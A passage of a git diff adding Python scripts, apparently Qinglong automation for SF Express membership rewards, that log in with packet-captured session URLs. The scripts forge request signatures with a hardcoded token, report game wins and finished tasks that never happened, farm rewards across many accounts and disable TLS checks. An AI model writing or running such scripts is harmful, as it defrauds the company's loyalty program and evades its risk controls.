总推币:【{pushedTimesTotal}】次') + else: + print(f'> 剩余推币次数:【{PUSH_TIMES_balance}】') + print(f'> 当前金币:【{self.COIN_balance}】') + # Log(f'> 当前发财卡:【{WELFARE_CARD_balance}】') + print(f'> 今日推币:【{pushedTimesToday}】次') + print(f'> 总推币:【{pushedTimesTotal}】次') + + self.DRAGONBOAT_2024_givePushTimes() + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + # except Exception as e: + # print(e) + + def DRAGONBOAT_2024_pushCoin(self): + try: + payload = {"plateToken": None} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024CoinService~pushCoin' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + drawAward = obj.get('drawAward', '') + self.COIN_balance += drawAward + print(f'> 获得:【{drawAward}】金币') + + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_givePushTimes(self): + Log('====== 领取赠送推币次数 ======') + try: + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024CoinService~givePushTimes' + + response = self.do_request(url) + # print(response) + if response.get('success'): + obj = response.get('obj', 0) + print(f'> 获得:【{obj}】次推币机会') + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('> 会员日任务风控') + print(error_message) + except Exception as e: + print(e) + + def DRAGONBOAT_2024_finishTask(self): + try: + payload = { + "taskCode": self.taskCode + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', False) + Log(f'> 完成任务【{self.taskName}】成功') + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_win(self, level): + try: + for i in range(level, 31): + print(f'开始第【{i}】关') + payload = {"levelIndex": i} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024GameService~win' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + currentAwardList = obj.get('currentAwardList', []) + if currentAwardList != []: + for award in currentAwardList: + currency = award.get('currency', '') + amount = award.get('amount', '') + print(f'> 获得:【{currency}】x{amount}') + else: + print(f'> 本关无奖励') + # random_time =random.randint(10,15) + # print(f'>> 等待{random_time}秒 <<') + # time.sleep(random_time) + else: + error_message = response.get('errorMessage', '无返回') + print(error_message) + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def main(self): + global one_msg + wait_time = random.randint(1000, 3000) / 1000.0 # 转换为秒 + time.sleep(wait_time) # 等待 + one_msg = '' + if not self.login_res: return False + # 执行签到任务 + self.sign() + self.superWelfare_receiveRedPacket() + self.get_SignTaskList() + self.get_SignTaskList(True) + + # 执行丰蜜任务 + self.honey_indexData() + # 获取任务列表并执行任务 + self.get_honeyTaskListStart() + self.honey_indexData(True) + + # ####################################### + # # # 获取当前季度结束日期 + # # activity_end_date = get_quarter_end_date() + # # if is_activity_end_date(activity_end_date): + # # Log("今天采蜜活动截止兑换,请及时进行兑换") + # # send('顺丰速运挂机通知', "今天采蜜活动截止兑换,请及时进行兑换") + # # target_time = datetime(2024, 4, 8, 19, 0) + # # if datetime.now() < target_time: + # # # self.EAR_END_2023_TaskList() + # # self.anniversary2024_task() + # # else: + # # print('周年庆活动已结束') + # ####################################### + # self.member_day_index() + current_date = datetime.now().day + if 26 <= current_date <= 28: + self.member_day_index() + + else: + print('未到指定时间不执行会员日任务') + + if self.DRAGONBOAT_2024_index(): + self.DRAGONBOAT_2024_weeklyGiftStatus() + self.DRAGONBOAT_2024_coinStatus() + self.DRAGONBOAT_2024_taskList() + # self.DRAGONBOAT_2024_Game_init() + self.DRAGONBOAT_2024_coinStatus(True) + + self.sendMsg() + return True + + def sendMsg(self, help=False): + if self.send_UID: + push_res = CHERWIN_TOOLS.wxpusher(self.send_UID, one_msg, APP_NAME, help) + print(push_res) + + +def get_quarter_end_date(): + current_date = datetime.now() + current_month = current_date.month + current_year = current_date.year + + # 计算下个季度的第一天 + next_quarter_first_day = datetime(current_year, ((current_month - 1) // 3 + 1) * 3 + 1, 1) + + # 计算当前季度的最后一天 + quarter_end_date = next_quarter_first_day - timedelta(days=1) + + return quarter_end_date.strftime("%Y-%m-%d") + + +def is_activity_end_date(end_date): + current_date = datetime.now().date() + end_date = datetime.strptime(end_date, "%Y-%m-%d").date() + + return current_date == end_date + + +def down_file(filename, file_url): + print(f'开始下载:{filename},下载地址:{file_url}') + try: + response = requests.get(file_url, verify=False, timeout=10) + response.raise_for_status() + with open(filename + '.tmp', 'wb') as f: + f.write(response.content) + print(f'【{filename}】下载完成!') + + # 检查临时文件是否存在 + temp_filename = filename + '.tmp' + if os.path.exists(temp_filename): + # 删除原有文件 + if os.path.exists(filename): + os.remove(filename) + # 重命名临时文件 + os.rename(temp_filename, filename) + print(f'【{filename}】重命名成功!') + return True + else: + print(f'【{filename}】临时文件不存在!') + return False + except Exception as e: + print(f'【{filename}】下载失败:{str(e)}') + return False + + + + +if __name__ == '__main__': + APP_NAME = '顺丰速运' + ENV_NAME = 'SFSY' + CK_NAME = 'url' + print(f''' +✨✨✨ {APP_NAME}脚本✨✨✨ +✨ 功能: + 积分签到 + 签到任务 + 采蜜任务 + 周年庆集卡 +✨ 抓包步骤: + 打开{APP_NAME}APP或小程序 + 点击我的 + 打开抓包工具 + 点击“积分”,以下几种url之一: + https://mcs-mimp-web.sf-express.com/mcs-mimp/share/weChat/shareGiftReceiveRedirect + https://mcs-mimp-web.sf-express.com/mcs-mimp/share/app/shareRedirect + 多账号#、@、换行分割 +✨ 设置青龙变量: +export {ENV_NAME}='url'多账号#分割 + +✨✨✨ ✨✨✨ + ''') + + #分割变量 + if ENV_NAME in os.environ: + tokens = re.split("@|#|\n",os.environ.get(ENV_NAME)) + elif "sfsyUrl" in os.environ: + print("调用拉菲变量") + tokens = re.split("@|#|\n",os.environ.get("sfsyUrl")) + else: + tokens =[''] + print(f'无{ENV_NAME}变量') + #exit() + local_version = '2024.06.02' + + # print(tokens) + if len(tokens) > 0: + print(f"\n>>>>>>>>>>共获取到{len(tokens)}个账号<<<<<<<<<<") + for index, infos in enumerate(tokens): + run_result = RUN(infos, index).main() + if not run_result: continue + diff --git a/脚本库/微信小程序/抓包版/顺丰速运/2025-06-28_顺丰速运_435a23dd.py b/脚本库/微信小程序/抓包版/顺丰速运/2025-06-28_顺丰速运_435a23dd.py new file mode 100644 index 0000000..d20c031 --- /dev/null +++ b/脚本库/微信小程序/抓包版/顺丰速运/2025-06-28_顺丰速运_435a23dd.py @@ -0,0 +1,2439 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%A1%BA%E4%B8%B0%E9%80%9F%E8%BF%90.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%A1%BA%E4%B8%B0%E9%80%9F%E8%BF%90.py +# Repo: jdqlscript/toulu +# Path: 顺丰速运.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 435a23dd8bfd493b15201ca0f2589fa640193a1853a57203fdd4a545c12ac184 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +""" +打开小程序或APP-我的-积分, 捉以下几种url之一,把整个url放到变量 sfsyUrl 里,多账号换行分割 +https://mcs-mimp-web.sf-express.com/mcs-mimp/share/weChat/shareGiftReceiveRedirect +https://mcs-mimp-web.sf-express.com/mcs-mimp/share/app/shareRedirect +每天跑一到两次就行 +来自拉菲大佬的本 +2025.1.2添加财神活动 + +""" +# cron: 11 6,9,12,15,18 * * * +# const $ = new Env("顺丰速运"); +import hashlib +import json +import os +import random +import time +import re +from datetime import datetime, timedelta +from sys import exit +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +from datetime import datetime + +os.environ['NEW_VAR'] ='sfsyUrl' #环境变量 +# 禁用安全请求警告 +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + + +IS_DEV = False + +if os.path.isfile('notify.py'): + from notify import send + + print("加载通知服务成功!") +else: + print("加载通知服务失败!") +send_msg = '' +one_msg = '' + + + +def Log(cont=''): + global send_msg, one_msg + print(cont) + if cont: + one_msg += f'{cont}\n' + send_msg += f'{cont}\n' + + +inviteId = ['A959FF988C64448198CDEB08FC84844F','0A5BCEB5EA454B878C34EB01A33AF080'] + + +class RUN: + def __init__(self, info, index): + global one_msg + one_msg = '' + split_info = info.split('@') + url = split_info[0] + len_split_info = len(split_info) + last_info = split_info[len_split_info - 1] + self.send_UID = None + self.all_logs = [] # 每个账号的日志集合 + if len_split_info > 0 and "UID_" in last_info: + self.send_UID = last_info + self.index = index + 1 + Log(f"\n---------开始执行第{self.index}个账号>>>>>") + self.s = requests.session() + self.s.verify = False + self.headers = { + 'Host': 'mcs-mimp-web.sf-express.com', + 'upgrade-insecure-requests': '1', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090551) XWEB/6945 Flue', + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'sec-fetch-site': 'none', + 'sec-fetch-mode': 'navigate', + 'sec-fetch-user': '?1', + 'sec-fetch-dest': 'document', + 'accept-language': 'zh-CN,zh', + 'platform': 'MINI_PROGRAM', + + } + self.anniversary_black = False + self.member_day_black = False + self.member_day_red_packet_drew_today = False + self.member_day_red_packet_map = {} + self.login_res = self.login(url) + self.today = datetime.now().strftime('%Y-%m-%d') + self.answer = False + self.max_level = 8 + self.packet_threshold = 1 << (self.max_level - 1) + + def get_deviceId(self, characters='abcdef0123456789'): + result = '' + for char in 'xxxxxxxx-xxxx-xxxx': + if char == 'x': + result += random.choice(characters) + elif char == 'X': + result += random.choice(characters).upper() + else: + result += char + return result + + def login(self, sfurl): + ress = self.s.get(sfurl, headers=self.headers) + # print(ress.text) + self.user_id = self.s.cookies.get_dict().get('_login_user_id_', '') + self.sessionId = self.s.cookies.get_dict().get('sessionId', '') + self.phone = self.s.cookies.get_dict().get('_login_mobile_', '') + self.mobile = self.phone[:3] + "*" * 4 + self.phone[7:] + if self.phone != '': + Log(f'用户:【{self.mobile}】登陆成功') + + return True + else: + Log(f'获取用户信息失败') + return False + + def getSign(self): + timestamp = str(int(round(time.time() * 1000))) + token = 'wwesldfs29aniversaryvdld29' + sysCode = 'MCS-MIMP-CORE' + data = f'token={token}×tamp={timestamp}&sysCode={sysCode}' + signature = hashlib.md5(data.encode()).hexdigest() + data = { + 'sysCode': sysCode, + 'timestamp': timestamp, + 'signature': signature + } + self.headers.update(data) + return data + def do_request(self, url, data={}, req_type='post'): + try: + if req_type.lower() == 'get': + response = self.s.get(url, headers=self.headers) + elif req_type.lower() == 'post': + response = self.s.post(url, headers=self.headers, json=data) + else: + raise ValueError(f"Invalid request type: {req_type}") + + try: + res = response.json() # 尝试解析 JSON + except json.JSONDecodeError: + Log(f"JSON 解码失败,响应内容: {response.text}") + return {"success": False, "errorMessage": "JSON 解码失败"} + + return res + except requests.exceptions.RequestException as e: + Log(f"网络请求失败: {e}") + return {"success": False, "errorMessage": "网络请求失败"} + except Exception as e: + Log(f"未知错误: {e}") + return {"success": False, "errorMessage": "未知错误"} + + def sign(self): + print(f'>>>>>>开始执行签到') + json_data = {"comeFrom": "vioin", "channelFrom": "WEIXIN"} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~automaticSignFetchPackage' + url2 ='https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~queryPointSignAwardList' + url3 ='https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~getUnFetchPointAndDiscount' + result = self.do_request(url2, data={"channelType": "1"}) + result2=self.do_request(url3, data={}) + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + count_day = response.get('obj', {}).get('countDay', 0) + if response.get('obj') and response['obj'].get('integralTaskSignPackageVOList'): + packet_name = response["obj"]["integralTaskSignPackageVOList"][0]["packetName"] + Log(f'>>>签到成功,获得【{packet_name}】,本周累计签到【{count_day + 1}】天') + else: + Log(f'今日已签到,本周累计签到【{count_day + 1}】天') + else: + print(f'签到失败!原因:{response.get("errorMessage")}') + + def superWelfare_receiveRedPacket(self): + print(f'>>>>>>超值福利签到') + json_data = { + 'channel': 'czflqdlhbxcx' + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberActLengthy~redPacketActivityService~superWelfare~receiveRedPacket' + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + gift_list = response.get('obj', {}).get('giftList', []) + if response.get('obj', {}).get('extraGiftList', []): + gift_list.extend(response['obj']['extraGiftList']) + gift_names = ', '.join([gift['giftName'] for gift in gift_list]) + receive_status = response.get('obj', {}).get('receiveStatus') + status_message = '领取成功' if receive_status == 1 else '已领取过' + Log(f'超值福利签到[{status_message}]: {gift_names}') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'超值福利签到失败: {error_message}') + + + + def get_SignTaskList(self, END=False): + if not END: print(f'>>>开始获取签到任务列表') + json_data = { + 'channelType': '3', + 'deviceId': self.get_deviceId(), + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~queryPointTaskAndSignFromES' + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True and response.get('obj') != []: + totalPoint = response["obj"]["totalPoint"] + if END: + Log(f'当前积分:【{totalPoint}】') + return + Log(f'执行前积分:【{totalPoint}】') + for task in response["obj"]["taskTitleLevels"]: + self.taskId = task["taskId"] + self.taskCode = task["taskCode"] + self.strategyId = task["strategyId"] + self.title = task["title"] + status = task["status"] + skip_title = ['用行业模板寄件下单', '去新增一个收件偏好', '参与积分活动'] + if status == 3: + print(f'>{self.title}-已完成') + continue + if self.title in skip_title: + print(f'>{self.title}-跳过') + continue + if self.title =='领任意生活特权福利': + json_data = { + "memGrade": 2, + "categoryCode": "SHTQ", + "showCode": "SHTQWNTJ" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~mallGoodsLifeService~list' + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + goodsList = response["obj"][0]["goodsList"] + for goods in goodsList: + exchangeTimesLimit = goods['exchangeTimesLimit'] + if exchangeTimesLimit >= 1: + self.goodsNo = goods['goodsNo'] + print(f'领取生活权益:当前选择券号:{self.goodsNo}') + self.get_coupom() + break + else: + print(f'>领券失败!原因:{response.get("errorMessage")}') + else: + # print("taskId:", taskId) + # print("taskCode:", taskCode) + # print("----------------------") + self.doTask() + time.sleep(3) + self.receiveTask() + + def doTask(self): + print(f'>>>开始去完成【{self.title}】任务') + json_data = { + 'taskCode': self.taskCode, + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask' + + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>【{self.title}】任务-已完成') + else: + + print(f'>【{self.title}】任务-{response.get("errorMessage")} 1{response}') + + def receiveTask(self): + print(f'>>>开始领取【{self.title}】任务奖励') + json_data = { + "strategyId": self.strategyId, + "taskId": self.taskId, + "taskCode": self.taskCode, + "deviceId": self.get_deviceId() + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~fetchIntegral' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>【{self.title}】任务奖励领取成功!') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def do_honeyTask(self): + # 做任务 + json_data = {"taskCode": self.taskCode} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>【{self.taskType}】任务-已完成') + else: + print(f'>【{self.taskType}】任务-{response.get("errorMessage")}') + + def receive_honeyTask(self): + print('>>>执行收取丰蜜任务') + # 收取 + self.headers['syscode'] = 'MCS-MIMP-CORE' + self.headers['channel'] = 'wxwdsj' + self.headers['accept'] = 'application/json, text/plain, */*' + self.headers['content-type'] = 'application/json;charset=UTF-8' + self.headers['platform'] = 'MINI_PROGRAM' + json_data = {"taskType": self.taskType} + # print(json_data) + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~receiveHoney' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'收取任务【{self.taskType}】成功!') + else: + print(f'收取任务【{self.taskType}】失败!原因:{response.get("errorMessage")}') + + def get_coupom(self): + print('>>>执行领取生活权益领券任务') + # 领取生活权益领券 + # https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder + + json_data = { + "from": "Point_Mall", + "orderSource": "POINT_MALL_EXCHANGE", + "goodsNo": self.goodsNo, + "quantity": 1, + "taskCode": self.taskCode + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>领券成功!') + else: + print(f'>领券失败!原因:{response.get("errorMessage")}') + + def get_coupom_list(self): + print('>>>获取生活权益券列表') + # 领取生活权益领券 + # https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder + + json_data = { + "memGrade": 1, + "categoryCode": "SHTQ", + "showCode": "SHTQWNTJ" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~mallGoodsLifeService~list' + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + goodsList = response["obj"][0]["goodsList"] + for goods in goodsList: + exchangeTimesLimit = goods['exchangeTimesLimit'] + if exchangeTimesLimit >= 1: + self.goodsNo = goods['goodsNo'] + print(f'当前选择券号:{self.goodsNo}') + self.get_coupom() + break + else: + print(f'>领券失败!原因:{response.get("errorMessage")}') + + def get_honeyTaskListStart(self): + print('>>>开始获取采蜜换大礼任务列表') + # 任务列表 + json_data = {} + self.headers['channel'] = 'wxwdsj' + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~taskDetail' + + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + for item in response["obj"]["list"]: + self.taskType = item["taskType"] + status = item["status"] + if status == 3: + print(f'>【{self.taskType}】-已完成') + if self.taskType == 'BEES_GAME_TASK_TYPE': + self.bee_need_help = False + continue + if "taskCode" in item: + self.taskCode = item["taskCode"] + if self.taskType == 'DAILY_VIP_TASK_TYPE': + self.get_coupom_list() + else: + self.do_honeyTask() + if self.taskType == 'BEES_GAME_TASK_TYPE': + self.honey_damaoxian() + time.sleep(2) + + def honey_damaoxian(self): + print('>>>执行大冒险任务') + # 大冒险 + gameNum = 5 + for i in range(1, gameNum): + json_data = { + 'gatherHoney': 20, + } + if gameNum < 0: break + print(f'>>开始第{i}次大冒险') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeGameService~gameReport' + response = self.do_request(url, data=json_data) + # print(response) + stu = response.get('success') + if stu: + gameNum = response.get('obj')['gameNum'] + print(f'>大冒险成功!剩余次数【{gameNum}】') + time.sleep(2) + gameNum -= 1 + elif response.get("errorMessage") == '容量不足': + print(f'> 需要扩容') + self.honey_expand() + else: + print(f'>大冒险失败!【{response.get("errorMessage")}】') + break + + def honey_expand(self): + print('>>>容器扩容') + # 大冒险 + gameNum = 5 + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~expand' + response = self.do_request(url, data={}) + # print(response) + stu = response.get('success', False) + if stu: + obj = response.get('obj') + print(f'>成功扩容【{obj}】容量') + else: + print(f'>扩容失败!【{response.get("errorMessage")}】') + + def honey_indexData(self, END=False): + if not END: print('\n>>>>>>>开始执行采蜜换大礼任务') + # 邀请 + random_invite = random.choice([invite for invite in inviteId if invite != self.user_id]) + self.headers['channel'] = 'wxwdsj' + json_data = {"inviteUserId": random_invite} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~indexData' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + usableHoney = response.get('obj').get('usableHoney') + if END: + Log(f'当前丰蜜:【{usableHoney}】') + return + Log(f'执行前丰蜜:【{usableHoney}】') + taskDetail = response.get('obj').get('taskDetail') + activityEndTime = response.get('obj').get('activityEndTime', '') + activity_end_time = datetime.strptime(activityEndTime, "%Y-%m-%d %H:%M:%S") + current_time = datetime.now() + + if current_time.date() == activity_end_time.date(): + Log("本期活动今日结束,请及时兑换") + else: + print(f'本期活动结束时间【{activityEndTime}】') + + if taskDetail != []: + for task in taskDetail: + self.taskType = task['type'] + self.receive_honeyTask() + time.sleep(2) + + def EAR_END_2023_TaskList(self): + print('\n>>>>>>开始年终集卡任务') + # 任务列表 + json_data = { + "activityCode": "YEAR_END_2023", + "channelType": "MINI_PROGRAM" + } + self.headers['channel'] = 'xcx23nz' + self.headers['platform'] = 'MINI_PROGRAM' + self.headers['syscode'] = 'MCS-MIMP-CORE' + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + for item in response["obj"]: + self.title = item["taskName"] + self.taskType = item["taskType"] + status = item["status"] + if status == 3: + print(f'>【{self.taskType}】-已完成') + continue + if self.taskType == 'INTEGRAL_EXCHANGE': + self.EAR_END_2023_ExchangeCard() + elif self.taskType == 'CLICK_MY_SETTING': + self.taskCode = item["taskCode"] + self.addDeliverPrefer() + if "taskCode" in item: + self.taskCode = item["taskCode"] + self.doTask() + time.sleep(3) + self.EAR_END_2023_receiveTask() + else: + print(f'暂时不支持【{self.title}】任务') + # if self.taskType == 'BEES_GAME_TASK_TYPE': + # self.honey_damaoxian() + self.EAR_END_2023_getAward() + self.EAR_END_2023_GuessIdiom() + + def addDeliverPrefer(self): + print(f'>>>开始【{self.title}】任务') + json_data = { + "country": "中国", + "countryCode": "A000086000", + "province": "北京市", + "provinceCode": "A110000000", + "city": "北京市", + "cityCode": "A111000000", + "county": "东城区", + "countyCode": "A110101000", + "address": "1号楼1单元101", + "latitude": "", + "longitude": "", + "memberId": "", + "locationCode": "010", + "zoneCode": "CN", + "postCode": "", + "takeWay": "7", + "callBeforeDelivery": 'false', + "deliverTag": "2,3,4,1", + "deliverTagContent": "", + "startDeliverTime": "", + "selectCollection": 'false', + "serviceName": "", + "serviceCode": "", + "serviceType": "", + "serviceAddress": "", + "serviceDistance": "", + "serviceTime": "", + "serviceTelephone": "", + "channelCode": "RW11111", + "taskId": self.taskId, + "extJson": "{\"noDeliverDetail\":[]}" + } + url = 'https://ucmp.sf-express.com/cx-wechat-member/member/deliveryPreference/addDeliverPrefer' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print('新增一个收件偏好,成功') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def EAR_END_2023_ExchangeCard(self): + print(f'>>>开始积分兑换年卡') + json_data = { + "exchangeNum": 2, + "activityCode": "YEAR_END_2023", + "channelType": "MINI_PROGRAM" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2023TaskService~integralExchange' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + receivedAccountList = response['obj']['receivedAccountList'] + for card in receivedAccountList: + print(f'>获得:【{card["urrency"]}】卡【{card["amount"]}】张!') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def EAR_END_2023_getAward(self): + print(f'>>>开始抽卡') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2023GardenPartyService~getAward' + for l in range(10): + for i in range(0, 3): + json_data = { + "cardType": i + } + response = self.do_request(url, data=json_data) + # print(response) + if response.get('success') == True: + receivedAccountList = response['obj']['receivedAccountList'] + for card in receivedAccountList: + print(f'>获得:【{card["currency"]}】卡【{card["amount"]}】张!') + elif response.get('errorMessage') == '达到限流阈值,请稍后重试': + break + elif response.get('errorMessage') == '用户信息失效,请退出重新进入': + break + else: + print(f'>抽卡失败:{response.get("errorMessage")}') + time.sleep(3) + + def EAR_END_2023_GuessIdiom(self): + print(f'>>>开始猜成语') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2023GuessIdiomService~win' + for i in range(1, 11): + json_data = { + "index": i + } + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'第{i}关成功!') + # receivedAccountList = response['obj']['receivedAccountList'] + # for card in receivedAccountList: + # print(f'>获得:【{card["urrency"]}】卡【{card["amount"]}】张!') + else: + print(f'第{i}关失败!') + + def EAR_END_2023_receiveTask(self): + print(f'>>>开始领取【{self.title}】任务奖励') + json_data = { + "taskType": self.taskType, + "activityCode": "YEAR_END_2023", + "channelType": "MINI_PROGRAM" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2023TaskService~fetchMixTaskReward' + response = self.do_request(url, data=json_data) + if response.get('success') == True: + print(f'>【{self.title}】任务奖励领取成功!') + else: + print(f'>【{self.title}】任务-{response.get("errorMessage")}') + + def anniversary2024_weekly_gift_status(self): + print(f'\n>>>>>>>开始周年庆任务') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024IndexService~weeklyGiftStatus' + response = self.do_request(url) + if response.get('success') == True: + weekly_gift_list = response.get('obj', {}).get('weeklyGiftList', []) + for weekly_gift in weekly_gift_list: + if not weekly_gift.get('received'): + receive_start_time = datetime.strptime(weekly_gift['receiveStartTime'], '%Y-%m-%d %H:%M:%S') + receive_end_time = datetime.strptime(weekly_gift['receiveEndTime'], '%Y-%m-%d %H:%M:%S') + current_time = datetime.now() + # print(current_time) + # print(receive_start_time) + # print(receive_end_time) + if receive_start_time <= current_time <= receive_end_time: + self.anniversary2024_receive_weekly_gift() + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'查询每周领券失败: {error_message}') + if '系统繁忙' in error_message or '用户手机号校验未通过' in error_message: + self.anniversary_black = True + + def anniversary2024_receive_weekly_gift(self): + print(f'>>>开始领取每周领券') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024IndexService~receiveWeeklyGift' + response = self.do_request(url) + if response.get('success'): + product_names = [product['productName'] for product in response.get('obj', [])] + print(f'每周领券: {product_names}') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'每周领券失败: {error_message}') + if '系统繁忙' in error_message or '用户手机号校验未通过' in error_message: + self.anniversary_black = True + + def anniversary2024_taskList(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + data = { + 'activityCode': 'ANNIVERSARY_2024', + 'channelType': 'MINI_PROGRAM' + } + response = self.do_request(url, data) + if response and response.get('success'): + tasks = response.get('obj', []) + # 过滤出状态为1的任务并尝试接收奖励 + for task in filter(lambda x: x['status'] == 1, tasks): + if self.anniversary_black: + return + for _ in range(task['canReceiveTokenNum']): + self.anniversary2024_fetchMixTaskReward(task) + # 过滤出状态为2的任务并完成任务 + for task in filter(lambda x: x['status'] == 2, tasks): + if self.anniversary_black: + return + if task['taskType'] in ['PLAY_ACTIVITY_GAME', 'PLAY_HAPPY_ELIMINATION', 'PARTAKE_SUBJECT_GAME']: + pass + elif task['taskType'] == 'FOLLOW_SFZHUNONG_VEDIO_ID': + pass + elif task['taskType'] in ['BROWSE_VIP_CENTER', 'GUESS_GAME_TIP', 'CREATE_SFID', 'CLICK_MY_SETTING', + 'CLICK_TEMPLATE', 'REAL_NAME', 'SEND_SUCCESS_RECALL', 'OPEN_SVIP', + 'OPEN_FAST_CARD', 'FIRST_CHARGE_NEW_EXPRESS_CARD', 'CHARGE_NEW_EXPRESS_CARD', + 'INTEGRAL_EXCHANGE']: + pass + else: + for _ in range(task['restFinishTime']): + if self.anniversary_black: + break + self.anniversary2024_finishTask(task) + + def anniversary2024_finishTask(self, task): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask' + data = {'taskCode': task['taskCode']} + response = self.do_request(url, data) + if response and response.get('success'): + print('完成任务[%s]成功' % task['taskName']) + # 完成任务后获取任务奖励的逻辑 + self.anniversary2024_fetchMixTaskReward(task) + else: + print('完成任务[%s]失败: %s' % ( + task['taskName'], response.get('errorMessage') or (json.dumps(response) if response else '无返回'))) + + def anniversary2024_fetchMixTaskReward(self, task): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TaskService~fetchMixTaskReward' + data = { + 'taskType': 